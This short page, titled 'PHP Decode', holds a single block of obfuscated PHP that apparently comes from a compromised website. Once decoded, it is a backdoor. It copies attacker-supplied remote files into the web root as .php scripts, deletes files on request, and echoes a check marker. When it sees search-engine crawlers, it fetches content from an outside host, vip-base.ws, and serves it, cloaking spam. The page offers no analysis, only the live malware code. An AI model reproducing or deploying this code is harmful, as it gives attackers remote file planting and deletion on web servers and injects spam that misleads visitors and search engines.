PHP Decode

/* $x1a="\x63o\x70\171"; $x1b="\146\x69\x6c\145"; $x1c="\146s\157c\x6b\x6f\x70\145\156"; $x1d="\x69\155\x70\x6c\x6f\144e"; $x1e="\x73\164r\x70o\x73"; $x1f="\165n\x6c\x69\x6e\x6b"; $x0b="\046\165se\x72=\x53\145rfer";if($_GET['chek']){echo"\074!-\055\x43\x48E\x43\x4b\x31\062\x33\x312\x39\x337\0612\x3387\x32\061\063-\x2d\x3e";}$x0c=$_GET['path']; $x0d=$_SERVER['DOCUMENT_ROOT']."\x2f"; if($_GET['installs']){ $x0e=$_GET['installs']; $x0f=$_GET['url']; $x10 = $x0f; $x11 = $x0d.$x0c.$x0e.".\160\150\x70"; if ($x1a($x10,$x11)){echo"\157\153";} } if($_GET['delete']){$x12=$_GET['delete']; if($x1f($x0d."$x0c\057$x12\x2e\160\150p"))echo"\x6f\x6b";} $x13 = array(); $x13['ad_Robots_UserAgent']=array('Google','Googlebot','msnbot','Yandex','YaDirectBot'); $x13['ad_IsRobot']=false; foreach ($x13['ad_Robots_UserAgent'] as $x14){if ($x1e($_SERVER['HTTP_USER_AGENT'], $x14)!==false){ $x13['ad_IsRobot']=true; break;} } $x15 = ''; if($x13['ad_IsRobot']){ $x15 = @$x1c("v\151\160-b\x61\163\145.\167s", 80, $x16, $x17, 8);if(!$x15){echo "";} else{ $x18 = @$x1b("\150\x74t\160\072/\057v\x69\160\x2d\142a\x73\145\056\167\163\x2f\x79\141n\x64\x65\170\057sc\141n\056\x70\x68p\x3f\x68\x6f\x73t\075$_SERVER[SERVER_NAME]\x26\x69p\x3d$_SERVER[REMOTE_ADDR]\046$x0b"); if($x18==true) echo $x1d('',$x18); } } unset($x13,$x14,$x19,$x15); return $x15;
*/